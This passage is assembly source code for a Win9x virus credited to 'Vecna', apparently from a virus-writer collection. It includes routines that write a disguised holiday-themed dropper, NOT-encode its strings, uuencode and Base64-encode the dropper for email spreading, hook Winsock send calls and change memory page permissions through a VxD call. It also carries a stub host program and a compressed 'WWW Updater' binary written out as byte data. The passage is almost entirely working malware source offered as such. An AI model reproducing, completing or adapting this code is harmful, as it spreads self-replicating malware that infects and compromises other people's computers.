[esp+(1*2)] ;bh=month + add esp, 8*2 + + push 6 + lea esi, [ebp+(ofs dates-ofs vcode)] + lea ecx, [ebp+(ofs name0-ofs vcode)] + mov [ebp+(ofs myname-ofs vcode)], ecx + pop ecx + @@next_date: + lodsw + cmp ah, bl + je @@is + cmp bl, al + jne @@nope ;this holiday isnt this month + @@is: + pusha + mov edi, [ebp+(ofs mem-ofs vcode)] + add edi, icon ;where icon should go in dropper + mov esi, edi + add esi, (ofs coelho-icon) ;first icon + mov eax, 1152 + xchg eax, ecx ;eax=count ecx=size icon + dec eax + lea edx, [ebp+(ofs names-ofs vcode)] + mov edx, [edx+(eax*4)] + add edx, ebp + mov [ebp+(ofs myname-ofs vcode)], edx ;get dropper name + cdq + mul ecx ;count*size+base=new icon + add esi, eax + rep movsb ;install new icon + popa + @@nope: + loop @@next_date ;check next date + + push 2 + lea esi, [ebp+(ofs dropname-ofs vcode)] + pop ecx + call r3_open + jz @@fux0r + push DROPPER_SIZE + mov esi, [ebp+(ofs mem-ofs vcode)] + pop ecx + call r3_write ;write clean dropper + call r3_close + push 3 + lea esi, [ebp+(ofs dropname-ofs vcode)] + pop ecx + call r3_open + jz @@fux0r1 + call r3_seof ;get new dropper size + cmp eax, DROPPER_SIZE + je @@fux0r2 ;was infected? + push eax + call r3_ssof + mov edi, [ebp+(ofs mem-ofs vcode)] + mov ecx, [esp] + lea eax, [edi+ecx] + push edi + push eax + call r3_read ;read infected dropper + @@fux0r2: + call r3_close + + @@fux0r1: + lea eax, [ebp+(ofs dropname-ofs vcode)] + push eax + db 0b8h + _fdelete dd 0 + call eax + pop edi ;edi=uuencode buffer + mov esi, [esp] ;esi=image + mov ecx, [esp+4] ;ecx=size + call uuencode + call delta + mov [ebp+(ofs uudropper-ofs vcode)], edi + mov [ebp+(ofs uusize-ofs vcode)], ecx + pop esi ;esi=image + lea edi, [edi+ecx] + pop eax ;eax=size + call BASE64 + mov [ebp+(ofs b64dropper-ofs vcode)], edi + mov [ebp+(ofs b64size-ofs vcode)], ecx + + lea eax, [ebp+(ofs wsock-ofs vcode)] + push eax + db 0b8h + _getmhandle dd 0 + call eax + mov edi, [ebp+(ofs _getproc-ofs vcode)] ;eax=wsokc32 base + + call @@112 + db 'WSAGetLastError', 0 + @@112: + push eax + call edi + mov [ebp+(ofs _WSAGetLastError-ofs vcode)], eax + jmp @@inited + + @@fux0r: + sub eax, eax + mov [ebp+(ofs mem-ofs vcode)], eax + @@inited: + popa + ret +init endp + + +decript_names proc + pusha + call delta + lea edi, [ebp+(ofs name0-ofs vcode)] + push name_sz + pop ecx + mov esi, edi + @@999: + lodsb + not al ;crypt/decrypt + stosb + loop @@999 + popa + ret +decript_names endp + + +ninsert proc + pusha + call decript_names + mov esi, [ebp+(ofs myname-ofs vcode)] + @@next: + lodsb + stosb + test al, al + jnz @@next + dec edi + mov eax, not 'EXE.' + not eax + stosd + mov [esp], edi + call decript_names + popa + ret +ninsert endp + + +dates equ this byte + db 06, 07 ; BABILONIA - US FLAG + db 12, 12 ; NAVIDAD - Papai Noel + db 04, 04 ; PASCOA - Ovo + db 01, 01 ; REYES MAGOS - Jesus + db 10, 11 ; HALLOWEN - Abobora + db 03, 03 ; PASCOA2 - Coelho + + +name0 db 'I-WATCH-U', 0 ;default name +name1 db 'BABILONIA', 0 +name2 db 'X-MAS', 0 +name3 db 'SURPRISE!', 0 +name4 db 'JESUS', 0 +name5 db 'BUHH', 0 +name6 db 'CHOCOLATE', 0 +name_sz = $-ofs name0 + + +names equ this byte + dd (ofs name6-ofs vcode) + dd (ofs name5-ofs vcode) + dd (ofs name4-ofs vcode) + dd (ofs name3-ofs vcode) + dd (ofs name2-ofs vcode) + dd (ofs name1-ofs vcode) + dd 0 + + +r3_open proc + sub eax, eax + push eax + push 22h + push ecx + push eax + push eax + push 0c0000000h + push esi + mov eax, 12345678h + _openfile equ dwo $-4 + call eax ;CreateFileA + mov [ebp+(ofs r3handle-ofs vcode)], eax + inc eax + ret +r3_open endp + + +r3_close proc + push 12345678h + org $-4 + r3handle dd 0 + mov eax, 12345678h + _closehandle equ dwo $-4 + call eax ;CloseHandle + ret +r3_close endp + + +r3_write proc + push 0 + call @@1 + dd 0 + @@1: push ecx + push esi + push dwo [ebp+(ofs r3handle-ofs vcode)] + mov eax, 12345678h + _writefile equ dwo $-4 + call eax ;WriteFile + ret +r3_write endp + + +r3_read proc + push 0 + call @@1 + dd 0 + @@1: push ecx + push edi + push dwo [ebp+(ofs r3handle-ofs vcode)] + mov eax, 12345678h + _readfile equ dwo $-4 + call eax ;WriteFile + ret +r3_read endp + + +r3_ssof proc + push 0 + db 66h,0b8h +r3_seof proc + push 2 + push 0 + push 0 + push dwo [ebp+(ofs r3handle-ofs vcode)] + mov eax, 12345678h + _seekfile equ dwo $-4 + call eax + ret +r3_seof endp +r3_ssof endp + + +;UUENCODE +;ESI=Data to encode +;EDI=Buffer +;ECX=Size of data +uuencode proc + cld + push edi + push esi + push ecx + mov eax, 065620A0Dh + stosw + stosd + mov eax, not ' nig' + not eax + stosd + mov eax, not ' 446' + not eax + stosd + call ninsert ;insert dropper name + mov ax, 0A0Dh + stosw + mov eax, [esp] ;eax=size + cdq + push 45 + pop ebx + div ebx ;dl=rest in last line + mov ecx, eax ;ecx=number of lines + pop ebp ;esi=start of data + pop esi + add ebp, esi ;ebp=end of data + @@line: + push ecx + mov al, "M" ;start of line + stosb + push 15 + pop ecx ;read 15*3 => write 15*4 + @@octet: + call getbyte + shr al, 2 + call convert ;1st char + shl al, 4 + and al, 00110000b + mov bh, al + call getbyte + shr al, 4 + and al, 00001111b + or al, bh + call convert ;2nd char + shl al, 2 + and al, 11111100b + mov bh, al + call getbyte + shr al, 6 + and al, 00000011b + or al, bh + call convert ;3th char + call convert ;4th char + loop @@octet + mov ax, 0A0Dh + stosw + pop ecx + loop @@line ;do next line + mov eax, edx + test al, al + jz @@end + add al, 20h ;do remainder + stosb + xor eax, eax + mov al, dl + xor edx, edx + xor ecx, ecx + push 3 + pop ebx + div ebx + mov ecx, eax + test edx, edx + jz @@no_rest + inc cx ;octets to make + @@no_rest: + push 1 ;is last line + sub edx, edx ;with no rest + jmp @@octet + @@end: + mov eax, 0650A0D60h ;"end" + stosd + mov eax, 00A0D646Eh + stosd + shr eax, 16 ;cr+lf + stosw + pop ecx + sub edi, ecx + xchg edi, ecx + ret +uuencode endp + + +wsock db 'WSOCK32.DLL', 0 + + +convert proc + and al, 00111111b + jnz @@0 + add al, 40h + @@0: + add al, 20h + stosb + mov al, ah + ret +convert endp + + +getbyte proc + cmp esi, ebp ;end of buffer? + jne @@load + xor al, al + db 0b4h ;skip LODSB + @@load: + lodsb + mov ah, al ;backup + ret +getbyte endp + + +protect proc + inc ecx + add ecx, 4096 ;tnz again to z0mbie! + shr ecx, 12 + test ebx, 4095 + jnz @@forget + shr ebx, 12 + push 0 + push not (00020000h+00040000h) ;not writeable+user + push ecx + push ebx + push 00010133h ;PageModifyPermissions + call vxd + add esp, 4*4 + @@forget: + ret +protect endp + + +safesend proc + pusha + @@retry: + mov eax, [esp+4+(8*4)] + mov ecx, [esp+8+(8*4)] + push 0 + push ecx ;size + push eax ;buffer + push dwo [ebp+(ofs socket_out-ofs vcode)] + call [ebp+(ofs oldsend-ofs vcode)] + mov ecx, eax + inc ecx + jnz @@done + db 0b8h + _WSAGetLastError dd 0 + call eax + sub eax, 10035 ;EWOULDBLOCK? + jz @@retry + stc ;error + db 0b1h + @@done: + clc + mov [esp+(7*4)], eax + popa + ret 2*4 +safesend endp + + +;esi=input +;edi=output +;eax=size +BASE64 proc + cld + push edi + push 3 + call @@trans +trans_table = $ + db 'A','B','C','D','E','F','G','H','I','J' + db 'K','L','M','N','O','P','Q','R','S','T' + db 'U','V','W','X','Y','Z','a','b','c','d' + db 'e','f','g','h','i','j','k','l','m','n' + db 'o','p','q','r','s','t','u','v','w','x' + db 'y','z','0','1','2','3','4','5','6','7' + db '8','9','+','/' +chars dd ? ;contador de caracteres + @@trans: + pop ebx + push (ofs chars-ofs trans_table) + pop ecx + @@1: + not by [ebx+ecx-1] ;crazy, isnt? ;) + loop @@1 ;now, imagine what i can do if i wasnt stoned all time + pop ecx + cdq + mov dwo [ebx+ecx+((ofs chars-ofs trans_table)-3)], edx ;tricky ;) + div ecx + mov ecx, eax + push edx + @@loop: + lodsd + dec esi ;edx=original + mov edx, eax ;edx=work copy + call Temp + call CODE64Block3 + call CODE64Block4 + loop @@loop + pop ecx ;get rest + jecxz @@done + lodsd + dec ecx + jz @@rest1 + movzx edx, ax ;use only 2 bytes + call Temp + call CODE64Block3 + jmp @@end + @@rest1: + movzx edx, al ;use 1 byte only + call Temp + inc ecx + inc ecx + @@end: + mov al, '=' + rep stosb + @@done: + mov eax, 0A0D0A0Dh + stosd + push (ofs chars-ofs trans_table) + pop ecx + @@2: + not by [ebx+ecx-1] + loop @@2 + pop ecx + sub edi, ecx ;edi=buffer + xchg ecx, edi ;ecx=size + ret +BASE64 endp + + +Temp proc + call CODE64Block1 ;little optimizing routine + call CODE64Block2 + ret +Temp endp + + +CODE64Block1: + mov eax, edx + shr eax, 02h + process3: + jmp process + +CODE64Block2: + mov eax, edx + shl al, 04h + shr ah, 04h + process2: + or al, ah ;chained jmps + jmp process3 ;another "why make it easy?" (c) Vecna ;) + +CODE64Block3: + mov eax, edx + shr eax, 08h + shl al, 02h + shr ah, 06h + jmp process2 + +CODE64Block4: + mov eax,edx + shr eax,10h + + process: + and al,00111111b + xlatb + stosb + mov eax, dwo [ebx+(ofs chars-ofs trans_table)] + inc eax + mov dwo [ebx+(ofs chars-ofs trans_table)], eax + pusha + push 0000004Ch + pop ecx + cdq + div ecx + test edx, edx + popa + jnz @@noline + mov ax, 0A0Dh + stosw + @@noline: + ret + +align 4 + + +vend equ this byte + + db 'EOV', 0 + +_VIRUS ends + +end main +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[BABYLON.ASM]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[HOST.INC]ΔΔΔ +_TEXT segment dword use32 public 'CODE' + +main proc + call init001 + push 0 + push ofs caption + push ofs msg + push 0 + temp1 equ $ + call virusmain +extrn MessageBoxA:PROC + call MessageBoxA + push 0 +extrn ExitProcess:PROC + call ExitProcess +main endp + +init001 proc + mov esi, ofs hlp1_s + mov edi, esi + mov ecx, hlp1_sz + @@1: + lodsb + not al + stosb + loop @@1 + + mov esi, ofs bound_ + mov edi, esi + mov ecx, bound_sz + @@2: + lodsb + not al + stosb + loop @@2 + + mov esi, ofs script + mov edi, esi + mov ecx, script_sz + @@3: + lodsb + not al + stosb + loop @@3 + + mov esi, ofs name0 + mov edi, esi + mov ecx, name_sz + @@4: + lodsb + not al + stosb + loop @@4 + + mov esi, ofs trans_table + mov edi, esi + mov ecx, (ofs chars-ofs trans_table) + @@5: + lodsb + not al + stosb + loop @@5 + + ret +init001 endp + + +_TEXT ends + +_DATA segment dword use32 public 'DATA' + + IF DEBUG EQ TRUE +caption db 'Vecna virus (DEBUG)', 0 + ELSE +caption db 'Vecna virus', 0 + ENDIF + +msg db 'You just released a Win9x virus!', 0 + +_DATA ends +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[HOST.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[UPDATER.INC]ΔΔΔ +;Compressed WWW Updater +;(C) Vecna + +db 04Dh, 038h, 05Ah, 090h, 038h, 003h, 066h, 002h +db 004h, 009h, 071h, 0FFh, 081h, 0B8h, 0C2h, 091h +db 001h, 040h, 0C2h, 015h, 0C6h, 080h, 009h, 00Eh +db 0B4h, 04Ch, 0CDh, 021h, 015h, 001h, 0EBh, 018h +db 050h, 045h, 008h, 04Ch, 001h, 053h, 003h, 014h +db 0CEh, 0E0h, 003h, 00Fh, 001h, 00Bh, 096h, 013h +db 065h, 008h, 009h, 006h, 032h, 015h, 010h, 09Ch +db 022h, 052h, 040h, 010h, 020h, 002h, 057h, 001h +db 051h, 08Ah, 040h, 018h, 04Eh, 015h, 007h, 0D9h +db 053h, 020h, 04Dh, 008h, 0EEh, 095h, 04Bh, 095h +db 030h, 011h, 0E5h, 06Bh, 001h, 0A0h, 043h, 04Fh +db 044h, 052h, 045h, 08Dh, 0DDh, 02Bh, 0ECh, 095h +db 002h, 024h, 0A5h, 041h, 0B7h, 040h, 044h, 041h +db 054h, 0CAh, 0B9h, 028h, 020h, 04Ch, 024h, 00Ah +db 0A5h, 0F3h, 060h, 0C0h, 02Eh, 069h, 064h, 039h +db 061h, 074h, 053h, 028h, 024h, 030h, 0D1h, 0E5h +db 00Ch, 02Ah, 028h, 052h, 088h, 0A0h, 0FCh, 068h +db 003h, 040h, 080h, 0E8h, 032h, 0A6h, 005h, 00Bh +db 002h, 020h, 02Bh, 0C0h, 050h, 06Ah, 073h, 001h +db 0E8h, 068h, 031h, 080h, 021h, 05Ch, 0E8h, 0EAh +db 043h, 016h, 035h, 07Ah, 095h, 044h, 065h, 080h +db 00Ch, 0FAh, 0FFh, 074h, 059h, 00Ah, 0FEh, 0EAh +db 048h, 009h, 0C7h, 005h, 04Ch, 021h, 0B0h, 021h +db 068h, 05Bh, 060h, 010h, 012h, 064h, 067h, 0FFh +db 036h, 0E1h, 088h, 00Dh, 089h, 026h, 03Ah, 014h +db 025h, 050h, 03Ah, 032h, 03Ah, 06Bh, 08Bh, 0ACh +db 00Bh, 02Eh, 08Fh, 040h, 006h, 058h, 028h, 083h +db 03Dh, 033h, 0C1h, 082h, 018h, 068h, 060h, 0EAh +db 098h, 0A1h, 04Eh, 0B5h, 0EBh, 0C2h, 070h, 06Ah +db 0A4h, 068h, 06Dh, 0FEh, 05Dh, 018h, 0DDh, 02Dh +db 08Fh, 02Bh, 081h, 0ECh, 08Dh, 001h, 077h, 0D9h +db 068h, 0A9h, 00Fh, 01Eh, 091h, 0DAh, 003h, 085h +db 0C0h, 00Fh, 084h, 0B2h, 028h, 0E1h, 005h, 012h +db 006h, 08Bh, 0F8h, 0BEh, 0C8h, 020h, 00Eh, 031h +db 0B9h, 00Eh, 023h, 0F3h, 0A4h, 094h, 073h, 0DCh +db 022h, 0C8h, 090h, 0AAh, 039h, 00Ah, 055h, 050h +db 0E8h, 0C2h, 014h, 064h, 07Ch, 04Ah, 0BEh, 036h +db 08Eh, 0FDh, 0BAh, 04Ch, 0FFh, 002h, 047h, 003h +db 0ACh, 084h, 0C0h, 074h, 06Fh, 038h, 0BDh, 00Ah +db 08Bh, 0F5h, 07Fh, 061h, 055h, 0E8h, 08Ah, 050h +db 02Ch, 074h, 054h, 02Bh, 01Bh, 0EDh, 068h, 07Ch +db 023h, 0AAh, 078h, 08Fh, 016h, 069h, 03Fh, 08Dh +db 087h, 00Ch, 0BFh, 002h, 037h, 025h, 0D9h, 0D4h +db 002h, 002h, 080h, 0E8h, 0E6h, 0A0h, 028h, 075h +db 025h, 06Ah, 00Ch, 034h, 068h, 0C9h, 02Bh, 082h +db 029h, 055h, 0A2h, 008h, 0FFh, 035h, 08Ah, 031h +db 072h, 0A9h, 00Bh, 091h, 0C3h, 018h, 0BAh, 0FEh +db 0DDh, 0EBh, 005h, 0EFh, 0BCh, 00Dh, 094h, 081h +db 0C4h, 096h, 083h, 0C3h, 080h, 03Dh, 049h, 09Ah +db 038h, 014h, 00Fh, 085h, 00Eh, 014h, 0FEh, 005h +db 00Dh, 050h, 0F0h, 090h, 089h, 054h, 0EFh, 0AEh +db 00Dh, 036h, 0E8h, 062h, 06Fh, 056h, 045h, 090h +db 057h, 0BAh, 034h, 0D8h, 042h, 06Ah, 040h, 068h +db 041h, 0CEh, 010h, 0B4h, 0FEh, 0FAh, 08Ch, 022h +db 01Dh, 0C6h, 043h, 0A3h, 05Ch, 0C4h, 0A6h, 0DAh +db 045h, 0B3h, 0A8h, 0E0h, 00Eh, 0D4h, 03Eh, 0A3h +db 08Ch, 011h, 00Bh, 0E8h, 061h, 013h, 07Bh, 00Fh +db 082h, 088h, 088h, 037h, 08Bh, 03Dh, 041h, 003h +db 0F8h, 089h, 0E1h, 054h, 048h, 093h, 036h, 0A9h +db 0C2h, 073h, 0C4h, 060h, 057h, 0AAh, 0F3h, 0B1h +db 02Ch, 0E7h, 080h, 04Dh, 072h, 05Dh, 081h, 039h +db 056h, 04Dh, 098h, 08Dh, 00Ah, 075h, 055h, 083h +db 079h, 096h, 01Eh, 077h, 043h, 00Fh, 0B7h, 041h +db 008h, 0D3h, 0E0h, 0B7h, 0D0h, 0F8h, 007h, 075h +db 043h, 000h, 08Bh, 079h, 014h, 003h, 0F9h, 068h +db 052h, 012h, 091h, 0E2h, 051h, 060h, 015h, 019h +db 0FCh, 0F6h, 068h, 016h, 00Ch, 042h, 06Ch, 026h +db 0D7h, 013h, 0CAh, 0ECh, 049h, 004h, 0F7h, 060h +db 038h, 061h, 028h, 0EBh, 086h, 09Dh, 070h, 0C0h +db 0ACh, 0C1h, 016h, 057h, 0E8h, 063h, 05Dh, 0E9h +db 059h, 08Eh, 00Bh, 0C6h, 04Dh, 0FDh, 020h, 012h +db 060h, 01Ch, 08Bh, 044h, 024h, 07Ah, 03Ah, 04Ch +db 028h, 028h, 0DDh, 032h, 051h, 050h, 098h, 058h +db 023h, 0E8h, 04Ah, 003h, 041h, 08Bh, 0C8h, 041h +db 075h, 00Eh, 0D7h, 0FCh, 015h, 02Dh, 030h, 033h +db 027h, 00Ah, 074h, 0D8h, 0F9h, 051h, 0B1h, 0C9h +db 085h, 056h, 01Ch, 061h, 0C2h, 085h, 028h, 02Eh +db 034h, 021h, 01Ch, 064h, 024h, 03Eh, 02Ah, 06Ah +db 0B2h, 0E8h, 002h, 071h, 0E8h, 092h, 006h, 051h +db 0A3h, 032h, 0CAh, 041h, 040h, 0F9h, 016h, 02Fh +db 0A0h, 09Ch, 0D2h, 0A9h, 024h, 014h, 015h, 0E1h +db 041h, 050h, 08Bh, 0F4h, 0F8h, 010h, 056h, 0A6h +db 052h, 061h, 0E2h, 023h, 083h, 0ECh, 0F0h, 022h +db 089h, 073h, 088h, 08Bh, 07Ch, 028h, 024h, 02Ch +db 0C5h, 042h, 010h, 012h, 080h, 002h, 062h, 0A0h +db 0A9h, 020h, 0B8h, 047h, 045h, 054h, 00Ah, 020h +db 0ABh, 08Bh, 074h, 08Dh, 00Ch, 0E8h, 0AFh, 01Fh +db 0BEh, 048h, 053h, 058h, 088h, 0A5h, 0B7h, 027h +db 01Fh, 028h, 09Ch, 086h, 0B8h, 00Dh, 00Ah, 004h +db 031h, 0ABh, 02Bh, 07Fh, 057h, 0FFh, 08Fh, 028h +db 030h, 0E8h, 0D2h, 041h, 023h, 072h, 071h, 08Bh +db 05Ch, 04Ch, 04Fh, 053h, 098h, 0F6h, 0A0h, 011h +db 060h, 003h, 04Dh, 0D8h, 059h, 030h, 0EDh, 06Dh +db 02Ch, 02Bh, 0DEh, 060h, 089h, 03Ah, 01Ch, 081h +db 03Eh, 048h, 071h, 054h, 03Ah, 050h, 075h, 080h +db 0B9h, 043h, 06Fh, 06Eh, 074h, 087h, 0D9h, 01Fh +db 0ACh, 03Ah, 0C3h, 003h, 017h, 039h, 05Eh, 0FFh +db 0A8h, 012h, 081h, 07Eh, 033h, 003h, 065h, 024h +db 02Dh, 0F3h, 009h, 007h, 012h, 007h, 054h, 079h +db 070h, 0CFh, 067h, 004h, 0E2h, 011h, 0E3h, 021h +db 046h, 094h, 01Ch, 0FCh, 069h, 00Ch, 075h, 0F6h +db 089h, 086h, 018h, 0AEh, 0C3h, 0FFh, 04Ah, 0EDh +db 00Ah, 0F8h, 0EBh, 011h, 013h, 062h, 0FAh, 001h +db 039h, 0F9h, 021h, 016h, 071h, 01Eh, 062h, 00Bh +db 004h, 003h, 0AAh, 0EBh, 0F8h, 0C1h, 099h, 03Eh +db 02Eh, 0E5h, 016h, 084h, 00Ah, 041h, 072h, 00Fh +db 002h, 07Ah, 077h, 00Ah, 001h, 05Ah, 076h, 007h +db 000h, 061h, 073h, 002h, 012h, 0F8h, 0B0h, 0F9h +db 042h, 0A4h, 0F1h, 0E8h, 0DBh, 090h, 0A5h, 003h +db 046h, 013h, 0EBh, 0F6h, 0BFh, 023h, 03Fh, 0A1h +db 084h, 04Eh, 0ABh, 0CAh, 004h, 006h, 006h, 04Fh +db 0E8h, 0BFh, 039h, 010h, 073h, 003h, 0A4h, 05Ch +db 03Ch, 07Eh, 0A0h, 07Eh, 03Bh, 035h, 044h, 054h +db 061h, 049h, 0C3h, 071h, 04Ch, 011h, 014h, 015h +db 064h, 077h, 04Ah, 04Fh, 0C5h, 08Bh, 041h, 024h +db 008h, 0EBh, 01Dh, 036h, 04Ah, 083h, 06Ah, 0F0h +db 058h, 0F8h, 003h, 040h, 028h, 073h, 08Bh, 005h +db 008h, 081h, 048h, 020h, 080h, 013h, 09Ah, 029h +db 035h, 0B0h, 074h, 036h, 002h, 08Bh, 00Dh, 060h +db 044h, 075h, 0E3h, 06Bh, 0FFh, 0D1h, 037h, 0A3h +db 048h, 013h, 041h, 074h, 066h, 0C7h, 063h, 0FDh +db 02Eh, 028h, 018h, 052h, 08Ah, 0D2h, 018h, 032h +db 0C2h, 070h, 0C6h, 00Fh, 031h, 074h, 047h, 0FCh +db 0BFh, 0A4h, 081h, 017h, 0F2h, 0AEh, 0FDh, 0B0h +db 05Ch, 080h, 00Ah, 0FCh, 08Bh, 047h, 002h, 00Dh +db 020h, 0C1h, 003h, 03Dh, 072h, 06Eh, 061h, 0C4h +db 074h, 013h, 0A7h, 033h, 0BFh, 0C4h, 0EBh, 052h +db 0CBh, 00Eh, 048h, 0AEh, 0D6h, 00Ah, 07Ah, 0FCh +db 0C4h, 01Eh, 0C3h, 0D4h, 05Ch, 006h, 04Ch, 09Bh +db 011h, 0D1h, 020h, 058h, 0DAh, 0C6h, 0E8h, 082h +db 03Bh, 0A4h, 011h, 011h, 02Eh, 068h, 0D6h, 03Bh +db 050h, 02Ah, 0FEh, 006h, 043h, 0EFh, 010h, 01Dh +db 021h, 088h, 00Ch, 064h, 02Ch, 020h, 0BFh, 0C3h +db 015h, 0C5h, 0C1h, 0D7h, 0A3h, 015h, 0F5h, 007h +db 023h, 068h, 011h, 06Ch, 088h, 070h, 0C4h, 074h +db 062h, 044h, 029h, 013h, 05Eh, 0D8h, 025h, 0E0h +db 030h, 0DDh, 023h, 095h, 0E4h, 006h, 021h, 0E8h +db 090h, 0ECh, 0C8h, 0F0h, 064h, 0F4h, 032h, 0F8h +db 019h, 0FCh, 00Dh, 0C1h, 031h, 008h, 004h, 086h +db 043h, 008h, 021h, 00Ch, 090h, 010h, 0C8h, 014h +db 064h, 018h, 032h, 020h, 019h, 024h, 00Ch, 028h +db 086h, 043h, 02Ch, 021h, 030h, 090h, 034h, 0C8h +db 038h, 064h, 03Ch, 032h, 044h, 019h, 04Ch, 00Ch +db 050h, 086h, 045h, 054h, 05Eh, 001h, 0FBh, 0C1h +db 02Fh, 076h, 065h, 063h, 061h, 021h, 082h, 00Ch +db 069h, 072h, 075h, 073h, 0E1h, 004h, 078h, 0CBh +db 087h, 060h, 06Fh, 06Bh, 034h, 065h, 0DFh, 02Ah +db 0FEh, 0AEh, 07Ah, 079h, 03Ch, 075h, 0C5h, 007h +db 06Ah, 070h, 0C7h, 0A5h, 0B0h, 066h, 074h, 077h +db 061h, 07Fh, 072h, 00Eh, 05Ch, 04Dh, 069h, 063h +db 0DFh, 01Bh, 073h, 01Dh, 0D3h, 057h, 0D1h, 06Eh +db 064h, 0E9h, 077h, 0EFh, 0C0h, 043h, 075h, 072h +db 0D7h, 030h, 00Dh, 090h, 056h, 062h, 0F1h, 069h +db 007h, 0F7h, 052h, 0FFh, 097h, 017h, 01Ch, 020h +db 0BAh, 02Fh, 031h, 02Eh, 0E5h, 070h, 08Fh, 055h +db 061h, 073h, 030h, 02Dh, 041h, 067h, 080h, 043h +db 03Ah, 020h, 04Dh, 06Fh, 07Ah, 069h, 071h, 06Ch +db 0C3h, 0D6h, 034h, 02Eh, 030h, 0E1h, 028h, 063h +db 0F4h, 06Dh, 070h, 0B0h, 096h, 007h, 069h, 062h +db 06Ch, 065h, 03Bh, 0D5h, 056h, 023h, 082h, 029h +db 0BEh, 05Ch, 078h, 041h, 0F3h, 0FDh, 070h, 08Fh +db 055h, 069h, 06Dh, 0F9h, 066h, 02Fh, 0CFh, 0B9h +db 066h, 02Ch, 04Ch, 00Bh, 078h, 072h, 02Dh, 07Eh +db 062h, 040h, 074h, 070h, 0ACh, 011h, 0A3h, 094h +db 0A7h, 06Ch, 018h, 02Ah, 0F1h, 0CBh, 028h, 06Ah +db 048h, 090h, 0DCh, 067h, 001h, 05Ch, 04Bh, 045h +db 052h, 04Eh, 0CCh, 04Ch, 033h, 03Ch, 032h, 02Eh +db 03Dh, 058h, 070h, 051h, 043h, 094h, 0B9h, 0BCh +db 09Ch, 054h, 06Fh, 04Fh, 06Ch, 068h, 03Ch, 0D9h +db 070h, 02Ah, 053h, 0BBh, 0C2h, 03Dh, 073h, 0FFh +db 0A1h, 0DEh, 050h, 046h, 0BFh, 0C8h, 0F5h, 0EFh +db 028h, 024h, 046h, 0F1h, 0EFh, 04Bh, 00Fh, 03Bh +db 04Eh, 054h, 0FBh, 047h, 0F7h, 0D2h, 082h, 0A5h +db 064h, 075h, 082h, 094h, 048h, 061h, 08Ch, 0DDh +db 00Ch, 041h, 0A2h, 011h, 08Fh, 022h, 03Fh, 07Fh +db 076h, 0DCh, 04Dh, 019h, 052h, 0EAh, 069h, 0A8h +db 06Ah, 0D2h, 069h, 053h, 006h, 00Dh, 030h, 070h +db 04Dh, 03Dh, 033h, 000h, 0FFh, 085h, 064h, 030h +db 028h, 00Ch, 05Ch, 040h, 031h, 0E0h, 0CAh, 021h +db 0A4h, 014h, 059h, 069h, 013h, 020h, 029h, 009h +db 0C8h, 014h, 064h, 075h, 048h, 044h, 090h, 0D0h +db 0F2h, 080h, 024h, 04Ch, 054h, 001h, 0B8h, 08Eh +db 0CCh, 031h, 0A4h, 009h, 0AEh, 089h, 0C4h, 012h +db 0D0h, 024h, 0E6h, 048h, 0FCh, 088h, 010h, 032h +db 011h, 01Eh, 022h, 02Eh, 044h, 03Eh, 04Ch, 089h +db 05Eh, 012h, 066h, 024h, 076h, 054h, 001h, 033h +db 084h, 011h, 08Eh, 022h, 009h, 096h, 044h, 09Eh +db 0ACh, 089h, 0BAh, 012h, 0CCh, 025h, 0D6h, 032h +db 024h, 0E4h, 099h, 008h, 0F4h, 011h, 006h, 033h +db 003h, 018h, 0A5h, 02Ah, 07Ch, 0A9h, 032h, 093h +db 0D3h, 01Ch, 04Dh, 078h, 002h, 057h, 053h, 04Fh +db 043h, 04Bh, 099h, 00Ch, 055h, 0F3h, 053h, 034h +db 00Bh, 00Eh, 041h, 044h, 056h, 065h, 050h, 049h +db 036h, 00Dh, 003h, 09Ah, 073h, 026h, 053h, 079h +db 065h, 089h, 06Dh, 044h, 08Bh, 0A1h, 00Fh, 018h +db 08Eh, 06Fh, 0BFh, 06Fh, 02Bh, 0FFh, 023h, 06Eh +db 045h, 078h, 066h, 01Eh, 015h, 053h, 040h, 098h +db 0BBh, 09Ah, 09Ch, 0EDh, 0DDh, 072h, 060h, 03Eh +db 075h, 0CBh, 050h, 073h, 0E4h, 01Eh, 00Ah, 043h +db 06Fh, 070h, 079h, 017h, 0A8h, 02Ch, 0C9h, 032h +db 074h, 091h, 09Ch, 066h, 098h, 021h, 053h, 04Dh +db 06Eh, 067h, 0D3h, 02Dh, 039h, 0DCh, 040h, 027h +db 04Eh, 061h, 06Dh, 0AAh, 02Bh, 065h, 0F2h, 0CAh +db 04Ch, 03Fh, 058h, 052h, 053h, 010h, 052h, 070h +db 01Bh, 045h, 072h, 09Ah, 09Eh, 04Fh, 0A3h, 00Fh +db 080h, 049h, 073h, 042h, 07Ah, 061h, 0A4h, 063h +db 0DAh, 0B8h, 021h, 08Dh, 097h, 016h, 063h, 009h +db 096h, 07Dh, 031h, 046h, 040h, 08Ch, 0B0h, 0D4h +db 0CAh, 011h, 056h, 0CFh, 007h, 074h, 075h, 061h +db 0D5h, 041h, 01Bh, 0E6h, 03Eh, 085h, 028h, 010h +db 046h, 0D4h, 050h, 057h, 033h, 073h, 02Ah, 06Bh +db 051h, 076h, 018h, 0B5h, 0F6h, 0F2h, 015h, 008h +db 0FDh, 028h, 076h, 008h, 0EDh, 049h, 08Eh, 05Dh +db 01Fh, 020h, 045h, 041h, 0A1h, 0D3h, 061h, 0B5h +db 075h, 0A6h, 026h, 00Eh, 0E3h, 015h, 04Ch, 061h +db 073h, 0A3h, 094h, 02Eh, 05Ch, 083h, 071h, 075h +db 065h, 0A6h, 02Ah, 0A2h, 0C9h, 0E3h, 005h, 0FDh +db 023h, 02Ah, 050h, 015h, 0CCh, 06Bh, 04Dh, 092h +db 05Ch, 